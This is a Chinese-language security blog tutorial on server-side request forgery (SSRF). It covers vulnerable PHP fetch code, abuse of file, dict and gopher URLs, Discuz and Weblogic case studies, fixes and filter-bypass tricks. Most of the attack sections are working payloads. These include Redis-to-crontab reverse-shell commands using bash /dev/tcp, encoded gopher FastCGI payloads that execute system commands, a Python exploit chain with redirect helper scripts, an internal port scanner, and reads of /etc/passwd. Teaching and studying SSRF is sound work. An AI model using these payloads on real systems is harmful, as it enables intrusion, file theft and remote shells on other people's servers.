Yoga7xm's Blog

SSRF Study

字数统计: 3.4k阅读时长: 16 min
2018/11/15 Share

0x00 SSRF简介

SSRF(Server-Side Request Forgery ):服务器端请求伪造,利用漏洞可以伪造服务器端发起网络请求,从而达到攻击内网的目的。

简单来说就是,接受客户端传来的URL,然后服务器拿URL去请求,然后返回ge给客户端

0x01 主要危害

  • 内外网的端口和服务扫描(banner信息,主动扫描)

  • 主机本地敏感数据的读取(利用file协议读文件)

  • 内外网主机应用程序漏洞的利用(比如溢出)

  • 内外网Web站点漏洞的利用(主要是使用get参数的攻击)

  • 无视CDN (ssrf+gopher =ssrfsocks)

  • …….

0x02 产生原因

网站访问大概步骤:

用户在地址栏输入网址 –》 向目标网站发送请求 –》 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 –》 用户接受页面并在浏览器中显示

假如【此处的请求默认为: www.xxx.com/ssrf.php?url=】

产生SSRF的漏洞的环节就处在,服务器端的验证并没有对其请求url的参数做出严格的过滤以及限制,导致服务器以他的身份来访问其他服务器的资源。

0x03 漏洞代码

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$URL = $_GET['url'];
//初始化一个curl会话
$CH = CURL_INIT();
//设置url
CURL_SETOPT($CH, CURLOPT_URL, $URL);
//设置header
CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);
//设置curl参数,要求结果保存到字符串中还是输出到屏幕上
CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);
//curL将终止从服务端进行验证
CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
//curl返回"Location: "允许302跳转
CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);
//执行一个curl会话,请求网页
$RES = CURL_EXEC($CH);
//设置头信息
HEADER('CONTENT-TYPE IMAGEPNG');
CURL_CLOSE($CH) ;
//返回响应
ECHO $RES;
?>

上述代码,服务器端使用curl发起网络请求加载图片然后返回给客户端

此处libcurl库支持多种协议

[root@4f44e990a2d9 ~]# curl -V
curl 7.53.0 (x86_64-pc-linux-gnu) libcurl/7.62.0
Protocols: dict file ftp gopher http imap pop3 rtsp smtp telnet tftp
Features: AsynchDNS IPv6 Largefile UnixSockets

file_get_contents()

漏洞代码:

1
2
$url = $_GET['url'];
echo file_get_contents($url);

服务器端使用file_get_contents()从用户指定的URL参数去发送请求结果返回至用户,同样,未对用户提供的URL进行验证,参数可控,存在ssrf漏洞

fsockopen ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

以上函数使用不当,就会产生漏洞。

0x04 利用方式

FILE协议:

获取敏感文件 url=file:///etc/passwd

SFTP协议:

获取ssh banner信息 url=sftp://www.mywebsite.com:1234/

DICT协议:

获取curllib库 banner 信息 dict://www.mywebsite.com:1234/

泄露安装软件版本信息,还可以查看端口,操作内网redis服务等 dict://127.0.0.1:3306/

GOPHER协议 (万能协议):

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。 ——百度百科

攻击Redis:

利用dict协议 url=dict://127.0.0.1:6379/info可以查看redis的配置信息

redis反弹shell的脚本如下:

1
2
3
4
5
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.166/2345 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

其脚本在redis中写了一个键值对然后利用cron写了一个反弹shell的定时计划(每分钟执行一次)。

然后得利用数据抓包工具socat分析流量,然后改成适配gopher协议的URL格式

这部分三叶草一个大佬分析的很详细ssrf in php ,这里利用师傅的Exp:

1
curl -v 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'

最终获得shell。

攻击FastCGI:

FastCGI全称快速通用网关接口 ,HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序一般运行在网络服务器上。CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和 环境变量。

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道网站文件的绝对路径
  • 由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断

除此之外,Gopher协议还能攻击内部存在漏洞的应用,比如JBoss、Struts、memcache等

0x05 实例

Discuz!

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。

漏洞分析:https://www.seebug.org/vuldb/ssvid-91879

dockerfile及poc: https://github.com/C1tas/DiscuzX3.2_SSRF_EXP

测试漏洞poc:

1
http://192.168.43.73:8082/Discuz/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://192.168.43.73/test.php?a.jpg[/img]

远程VPS中test.php

1
2
3
<?php                                                                         
header("Location: gopher://192.168.43.73:2333/_test");
?>

打开监听端口,回显test 说明说明存在漏洞

构造FastCGI的Exp

1
2
3
<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

然后请求URL

1
http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://127.0.0.1:9999/1.php?a.jpg[/img]

可在本地2333端口收到反弹shell

利用PocSuite+Discuz_SSRF_Redis.py

PocSuite是一款基于漏洞与 PoC的远程漏洞验证框架,是知道创宇的安全团队开发的。

在使用Pocsuite的时候,我们可以用--verify参数来调用_verify方法,用--attack参数来调用_attack方法

1
python2.7 pocsuite.py -r ../Discuz_SSRF_Redis.py -u http://192.168.1.166:8082/Discuz/forum.php --verify

1
python pocsuite.py -r ../Discuz_SSRF_Redis.py -u http://192.168.1.166:8082/Discuz/forum.php --attack

直接getshell

其中,如果利用Dict协议提交时,会自动在末尾加上\r\n,所以需一步一步的发送请求来构造Exp

1
2
3
4
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/set:1:nn*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nn
dict://127.0.0.1:6379/save
1
2
3
7269:M 14 Nov 04:36:09.170 * DB loaded from disk: 0.017 seconds
7269:M 14 Nov 04:36:09.171 * Ready to accept connections
7269:M 14 Nov 04:37:45.848 * DB saved on disk

此处利用创宇404师傅SSRF漏洞分析与利用 根据乌云猪猪侠改造的Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# ssrf.py
import requests
host = '104.224.151.234'
port = '6379'
bhost = 'www.4o4notfound.org'
bport=2333
vul_httpurl = 'http://www.4o4notfound.org/ssrf.php?url='
_location = 'http://www.4o4notfound.org/302.php'
shell_location = 'http://www.4o4notfound.org/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = '{vul_httpurl}{0}{1}'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#confg set dir
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#config set dbfilename
_payload='?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content
#save
_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format( host = host, port = port)
exp_uri = '{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print requests.get(exp_uri).content


#302.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data"); ?>

#shell.php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:"\x0a\x0a*/1\x20*\x20*\x20*\x20*\x20/bin/bash\x20-i\x20>\x26\x20/dev/tcp/{$bhost}/{$bport}\x200>\x261\x0a\x0a\x0a""); ?>

执行ssrf.py 即可写入crontab,在本地开启nc监听等待请求

Weblogic SSRF 漏洞

环境搭建:

直接从开源的vulhub获取文件,然后进行编译启动

1
2
docker-compose build
docker-compose up -d

完成后访问存在漏洞的页面http://192.168.1.166:7001/uddiexplorer/SearchPublicRegistries.jsp即可

访问一个URL,其中ip:port开放

1
2
3
4
5
6
7
8
http://192.168.1.166:7001/uddiexplorer/SearchPublicRegistries.jsp
?rdoSearch=name
&txtSearchname=sdf
&txtSearchkey=
&txtSearchfor=
&selfor=Business+location
&btnSubmit=Search
&operator=http://127.0.0.1:7001

返回 一个404 error code

假如访问一个未开放的端口9999

返回一个could not connect

假如访问其他协议,dict、gopher

返回unknown protocol

可以通过错误的不同,可探测内网状态。

一个简单的扫描内网端口的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url = "http://192.168.1.166:7001/uddiexplorer/SearchPublicRegistries.jsp"
ports = [6378,6379,22,25,80,8080,8888,8000, 7001, 7002,23,25,3306,2333]
for i in range(1,255):
for port in ports:
params = dict(
rdoSearch = "name",
txtSearchname = "sdf",
selfor = "Business+location",
btnSubmit = "Search",
operator = "http://172.18.0.{}:{}".format(i,port))
try:
r = requests.get(url, params=params, timeout = 3)
except:
pass

if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print('[*] http://172.18.0.{}:{}'.format(i,port))
else:
pass

结果

1
2
3
4
5
[*] http://172.18.0.3:22
[*] http://172.18.0.3:80
[*] http://172.18.0.3:8888
[*] http://172.18.0.3:7001
[*] http://172.18.0.3:6379

攻击Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

redis反弹shell Exp:

1
2
3
4
5
6
7
8
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将其URL编码,其中\r\n编码后为%0D%0A

1
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后提交,成功getshell

此外,redis启动时不会像apache一样,以一种低权限的身份运行,而是取决于运行他的用户的权限,而且它的默认配置是不需要密码的,故默认的未授权访问,并且它也支持本地存储,所以这就造成了任意文件写入漏洞,写入webshell、ssh私钥等


0x05 漏洞修复

  1. 仅仅限制http、https协议
  2. 禁止302跳转
  3. 设置URL白名单或限制内网IP
  4. 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
  5. 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
  6. 限制请求的端口为http常用的端口,比如,80,443,8080,8090

0x06 Bypass Tips

  1. 最常用的跳转绕过

​ 一些服务器可能限定了只能使用http和https,这样就能通过header跳转绕过

1
2
3
4
5
6
7
8
9
<?php  
header("Location: file:///etc/passwd");
?>
<?php
header("Location: dict://127.0.0.1:6379/info");
?>
<?php
header("Location: gopher://127.0.0.1:6666/_info");
?>
  1. 指向任意IP的域名xip.io
1
2
3
4
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
  1. IP限制绕过,十进制、八进制、十六进制之间的互相转换

  2. 短网址绕过

1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

0x07 Reference

  1. SSRF漏洞(原理&绕过姿势)
  2. 了解SSRF,这一篇就足够了
  3. SSRF绕过方法总结
  4. SSRF-Tips
  5. 利用 Gopher 协议拓展攻击面
  6. SSRF漏洞的挖掘经验
  7. 猪猪侠乌云白帽大会SSRF经典议程
  8. Bool型SSRF的思考与实践
CATALOG
  1. 1. 0x00 SSRF简介
  2. 2. 0x01 主要危害
  3. 3. 0x02 产生原因
  4. 4. 0x03 漏洞代码
    1. 4.1. curl_exec()
    2. 4.2. file_get_contents()
    3. 4.3. fsockopen ()
  5. 5. 0x04 利用方式
    1. 5.1. FILE协议:
    2. 5.2. SFTP协议:
    3. 5.3. DICT协议:
    4. 5.4. GOPHER协议 (万能协议):
      1. 5.4.1. 攻击Redis:
      2. 5.4.2. 攻击FastCGI:
  6. 6. 0x05 实例
    1. 6.1. Discuz!
    2. 6.2. Weblogic SSRF 漏洞
  7. 7. 0x05 漏洞修复
  8. 8. 0x06 Bypass Tips
  9. 9. 0x07 Reference